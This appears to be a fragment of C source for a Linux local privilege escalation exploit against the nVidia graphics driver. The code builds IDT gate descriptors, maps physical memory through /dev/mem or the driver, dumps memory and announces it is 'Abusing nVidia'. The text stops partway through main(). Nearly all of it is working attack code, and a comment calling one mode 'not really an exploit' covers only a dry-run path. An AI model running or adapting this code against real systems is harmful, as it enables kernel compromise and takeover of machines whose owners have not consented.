#define YES_PLEASE 3
#define PTR_LOW(x) ((unsigned long)(x) & 0xFFFF)
#define PTR_MIDDLE(x) (((unsigned long)(x) >> 16) & 0xFFFF)
#define PTR_HIGH(x) ((unsigned long)(x) >> 32)
#ifdef __x86_64__
#define __KERNEL_CS 0x10
#else
#define __KERNEL_CS 0x60
#endif
void dump_gate(gate_desc *gate)
{
#if 0
uint16_t *p = (void *)gate;
unsigned i;
for (i = 0; i < sizeof(*gate) / sizeof(uint16_t); i++)
printf("%04x\n", *p++);
#endif
}
void dump_bytes(void *desc)
{
int i;
for (i = 0; i < 16; ++i) {
printf("%02x", ((char*)desc)[i]);
if (i < 15 && (i % 4) == 3)
printf(" ");
}
printf("\n");
}
static inline void pack_gate(gate_desc *gate, unsigned type, unsigned long func,
unsigned dpl, unsigned ist, unsigned seg)
{
gate->offset_low = PTR_LOW(func);
gate->offset_middle = PTR_MIDDLE(func);
gate->segment = seg;
gate->ist = ist;
gate->p = 1;
gate->dpl = dpl;
gate->zero0 = 0;
gate->type = type;
#ifdef __x86_64__
gate->offset_high = PTR_HIGH(func);
gate->zero1 = 0;
#endif
dump_gate(gate);
}
// Test mode, not really an exploit, although it does
// show the option to forbid physical memory is useless
static int devmem_fd(void)
{
int fd = open("/dev/mem", O_RDWR|O_SYNC);
if (fd < 0)
perror("/dev/mem");
return fd;
}
void *xalloc(unsigned long len)
{
void *ret = NULL;
posix_memalign(&ret, 16, ((len+0xf)&~0xf) + 16);
return ret;
}
void xfree(void *ptr)
{
free((void*)((unsigned long)ptr & ~0xfL));
}
int main(int argc, char * argv[])
{
volatile uint32_t *handle = NULL;
long ret, i, found = 0;
char *p;
gate_desc gate, gate2[16/sizeof(gate_desc)];
uint32_t buf[4];
gate_desc *dp = (gate_desc*)buf;
uint8_t data[256];
uint64_t res = 0;
printf("[*] IDT offset at %#lx\n", getidt());
// syntax: --dumpmem BAR0, for debugging "cant find my kernel" issues as root
if (argc > 2 && (!strcmp(argv[1], "-d") || !strcmp(argv[1], "--dumpmem"))) {
res = strtoll(argv[2], NULL, 16);
handle = nvidia_handle(devmem_fd(), res);
for (i = 0; i < 0x4000000; i += 16) {
physread16(handle, i, (void*)data);
write(2, data, 16);
}
return 0;
} else if (argc > 1 && (res = strtoll(argv[1], NULL, 16))) {
handle = nvidia_handle(devmem_fd(), res);
if (!getuid()) {
setgid(1000);
setuid(1000);
}
if (handle == MAP_FAILED)
return -1;
printf("[*] Dry run with /dev/mem as uid %u gid %u...\n", getuid(), getgid());
}
if ((p = strchr(argv[0], '/')))
p++;
else
p = argv[0];
strcpy(taskname, p);
tasknamelen = strlen(taskname);
if (!handle || handle == MAP_FAILED) {
uint64_t res;
int fd = nvidia_fd(&res);
printf("[*] Abusing nVidia...\n");
handle = nvidia_handle(fd, res);
if (!handle || handle == MAP_FAILED)
return -1;
}